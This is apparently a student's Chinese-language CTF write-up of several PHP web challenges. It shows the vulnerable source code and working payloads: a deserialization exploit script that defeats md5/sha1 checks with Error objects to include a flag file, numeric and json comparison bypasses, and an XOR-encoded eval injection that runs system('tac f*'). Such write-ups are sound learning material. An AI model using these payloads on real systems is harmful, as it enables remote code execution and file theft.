CTF

第三周

学习学习

Posted by lll-yz on August 12, 2021

web02

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("不对 !!");
           }
           
        }
    }
}

if (isset($_GET['niu_niu.gan'])){
    unserialize($_GET['niu_niu.gan']);
} else {
    highlight_file(__FILE__);
}
?>

利用Error类绕过md5和sha1检测,Error类中有__toString方法,做字符串处理时就会调用这个函数,md5()和sha1()函数都会调用__toString(),例如:

fzbibF.png

注意: $a和$b要在同一行,不然md5和sha1后不相等,定义是要在同一行,因为报错的打印出来的包括错误行数。

我们可以将题目中的$syc和$lover分别声明为类似上方的内置类对象,来绕过。因为题目过滤了括号,无法调用函数,所以我们用include "/flag"将flag包含进来,引号用url取反绕过。

最终exp:

<?php

$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);

class SYCLOVER {
	public $syc;
	public $lover;
}

$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;

echo urlencode(serialize($c));
?>

web03

 <?php
//flag in fl0gd.php
error_reporting(0);
highlight_file(__FILE__);
$yutu = $_GET['y'];
function rongyao($a){
    return preg_replace('/php|phtml|flag|/i','',$a);
}
if($_COOKIE){
    unset($_COOKIE);
}

$_ABC["xiaqing"] = 'xiaqing';
$_ABC["qjj"]=$yutu;

extract($_POST);

if(!$_GET['photo']){
    $_ABC['photo'] = base64_encode('photo.png');
}else{
    $_ABC['photo'] = md5(base64_encode($_GET['photo']));
}

$serialize = rongyao(serialize($_ABC));

if($yutu=='qiaojingjing'){
    echo 'you are my rongyao~~';
}else if($yutu=='show_photo'){
    $phpinfo = unserialize($serialize);
    echo file_get_contents(base64_decode($phpinfo['photo']));
} 

web05

<?php
highlight_file(__FILE__);
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['time'])){
    if(!is_numeric($_GET['time'])){
        echo 'The time must be number.';
    }else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
        echo 'This time is too short.';
    }else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
        echo 'This time is too long.';
    }else{
        sleep((int)$_GET['time']);
        echo $flag1;
    }
    echo '<hr>';
} 

这里用is_numeric检查是否为数字,而后面用(int)将字符型数字转为数字型数字,那么我们来比较一下这两个函数对字符型数字的处理。 前者支持普通数字型、科学记数法型、部分支持十六进制0x型,在前者支持的形式中,后者不能正确转换的类型有十六进制型、科学计数法型(部分)。 因此我们可以使用十六进制或科学计数法来绕过,如?time=5.184001e6

访问robots.txt得到:index.php lib.php part.php part.txt

访问part.txt得到:

$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")
    die("BugsBunnyCTF is here :p...");
if ( !isset($_POST["flag"]) )
    die($_403);
foreach ($_GET as $key => $value)
    $$key = $$value;
foreach ($_POST as $key => $value)
    $$key = $value;
if ( $_POST["flag"] !== $flag )
    die($_403);
echo "This is your flag : ". $flag2 . "\n";
die($_200);

这个有问题,只要给flag传参即可得到flag。

正确解法应该是:利用第一个foreach先将$flag的值赋给$_200,然后利用die($_200)将原本的flag值打印出来。

web06

进入后是一个2048游戏,查看源码,再去看js源码,找到phpisbest.php提示,去访问:

<?php 
show_source(__FILE__);
@include_once 'flag.php';
//phpisbest language
    $a = $_GET['a'];
    $b = $_GET['b'];
    $good = false;
    if (sha1($a)===sha1($b)) {
        $good = true;
    }
    else die('bypass');
    if ($good && isset($_GET['key'])){
        $message = json_decode($_GET['key']);
        if ($message->key==$key) {
            echo $flag;
        }    
        else die('flag is coming!');
    }

?>

a和b取一样,key采用json弱比较,所以给他赋值为0即可:

?a=1&b=1&key={"key":0}

web07

进入后一个phpinfo页面,访问robots.txt得到提示,?use1,访问得到:

 <?php


include"flag.php";
if(isset($_GET['use1'])){
    show_source(__FILE__);
    $v1 = (String)$_GET['use1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}else{
    phpinfo();
} 

/^\W+$/的意思:匹配[^a-zA-Z0-9_](任意个非单词字符、非数字字母下划线的字符)。

$v1$v3$v2绕过利用php特性,数字和命令进行一些运算,如1-phpinfo();是可以执行phpinfo()命令的。如:eval("1-system("cat flag.txt");");。(不一定是减号,还有加、乘、除号,若用加号,要进行URL编码,这是个特殊字符,不进行编码会当作空格)

所以我们构造出1-phpinfo()-1这种格式即可,也就是v1=1&v2=1&v3=-system("tac f*")-,然后用取反绕过正则。得到:

("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%01%06%02"^"%7f%60%60%21%60%28")

最后的payload:

?use1=1&v2=1&v3=-("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%01%06%02"^"%7f%60%60%21%60%28")-